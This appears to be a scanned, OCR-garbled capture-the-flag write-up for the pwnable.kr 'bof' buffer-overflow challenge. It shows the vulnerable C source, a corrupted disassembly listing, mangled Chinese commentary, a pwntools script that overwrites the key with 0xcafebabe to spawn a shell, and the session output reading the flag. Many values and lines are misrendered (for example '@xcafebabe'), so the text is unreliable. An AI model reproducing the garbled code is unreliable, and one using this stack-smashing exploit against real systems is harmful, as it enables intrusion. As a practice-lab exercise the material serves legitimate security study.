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Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000
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#include <stdio.h>

#include <string.h>

#include <stdlib.h>

void func(int key){

char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == @xcafebabe){
system("/bin/sh");

}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(@xdeadbeef);
return 0;

}
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DAR M —F:

«text:0000062C

«taxt:0000062C ; =====ssssmss=== § U B R OUTINE=

«text:0000062C

«teaxt:0000062C ; Attributes: bp-based frame

«text:0000062C

<text:0000062C public func

<text:0000062C func proc near / : CODE XREF: main+l10ip
«text:0000062C

<text:0000062C s = byte ptr -2Ch

«text:0000062C var C = dword ptr -0Ch

«text:0000062C arg_ O = dword ptr &8

.text:0000062¢C \

«text:0000062C ; _ unwind {

<text:0000062C push ebp

<text:0000062D mov ebp, esp

<text:0000062F sub esp, 48h

text:00000632 mov eax, large gs:l4h

<text:00000638 mov [ebp+var_C], eax

<text:0000063B xor eax, eax

<text:0000063D mov dword ptr [esp], offset 8 ; "overflow me : "
<text: 00000644 call puts

<text:00000649 eax,; [ebp+s]

<text:0000064C [esp]; eax

.text:0000064F

.text: 00000654 [ g_u], h

.text: 00000658 jnz short loc_ 668

.text:0000065D mov dword ptr [esp], offset command ; "/bin/sh"
.text: 00000664 call system

.text: 00000669 jmp short loc 677
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lea eax, [ebp+s] //XHeaxZF A iEls s BN 7#% [ebp+s ] tH5LA2 52 1t 45

mov [esp], eax S

WAZA MR Z DN ? sEa®If iR T, 2&-2Ch, FH LERE LA E.
SRJE RS Hikey N AFHHE, X AT DA H
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#1/usr/Local/bin/python

from pwn import *

¢ = remote("pwnable.kr", 9000)

c.sendline("q"*52 + p32(@xcafebabe)) #iXHHiqhblE E H/k (4 75 LU
c.interactive()

PUT 2 5 =153 3 shellffi a6l £



=*> pwn /usr/local/bin/python /Users/youssef/Desktop/pwn/bof.py
[+] Opening connection to pwnable.kr on port 9000: Done
[*] Switching to interactive mode

$ 1s

bof

bof.c

flag

log

log2

super.pl

$ cat flag

daddy, I just pwned a buFFer :)

$

[*] Interrupted

[*] Closed connection to pwnable.kr port 9000

= pwn
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